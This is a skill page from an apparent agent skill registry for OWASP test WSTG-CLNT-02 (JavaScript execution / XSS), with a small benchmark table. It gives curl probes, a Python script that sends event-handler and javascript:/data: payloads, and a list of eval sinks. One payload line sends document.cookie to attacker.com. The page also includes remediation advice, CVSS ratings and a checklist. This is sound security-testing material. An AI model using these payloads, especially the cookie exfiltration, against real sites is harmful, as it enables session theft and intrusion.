Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Testing for JavaScript Execution
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | 20% | 0% |
| case-03 | ✓→✓ | = Same ✓ | 14% | 0% |
| case-04 | ✓→✓ | = Same ✓ | 67% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 27% | 0% |
| case-06 | ✓→✓ | = Same ✓ | -49% | 0% |
WSTG-CLNT-02
Testing for JavaScript Execution
This test identifies scenarios where user input can lead to arbitrary JavaScript execution through various vectors including javascript: URIs, event handlers, and dynamic code evaluation.
bash# Test link href curl -s "https://target.com/redirect?url=javascript:alert(1)" # Test image src curl -s "https://target.com/profile?avatar=javascript:alert(1)"
python#!/usr/bin/env python3 import requests def test_event_handlers(url, param): payloads = [ '" onmouseover="alert(1)" x="', "' onfocus='alert(1)' autofocus='", '" onclick="alert(1)" style="position:fixed;width:100%;height:100%" x="', "javascript:alert(1)", "data:text/html,<script>alert(1)</script>", ] for payload in payloads: response = requests.get(url, params={param: payload}) if payload.split('=')[0] in response.text: print(f"[POTENTIAL] Payload reflected: {payload[:40]}") # Usage test_event_handlers("https://target.com/search", "q")
javascript// Check if user input reaches eval/Function // Common patterns to look for in JS: // Dangerous eval(userInput) new Function(userInput)() setTimeout(userInput, 1000) setInterval(userInput, 1000) // Test payloads // alert(1) // 1+1 // fetch('https://attacker.com?'+document.cookie)
javascript// Never use eval with user input // AVOID: eval(userInput) // Use safe alternatives JSON.parse(jsonString) // For JSON parsing // For dynamic function calls, use allowlist const allowedFunctions = { sum: (a, b) => a + b } if (allowedFunctions[functionName]) { allowedFunctions[functionName](args) }
| Finding | CVSS | Severity | | ------------------------- | ---- | -------- | | javascript: URI execution | 6.1 | Medium | | Event handler injection | 6.1 | Medium | | eval() with user input | 8.6 | High |
| CWE ID | Title | | ---------- | ------------------------------------------------------------------- | | CWE-95 | Improper Neutralization of Directives in Dynamically Evaluated Code |
[ ] javascript: URI tested
[ ] Event handlers tested
[ ] eval() usage analyzed
[ ] Template literals checked
[ ] Findings documentedOther measured skills in the registry, with their headline benchmark lift.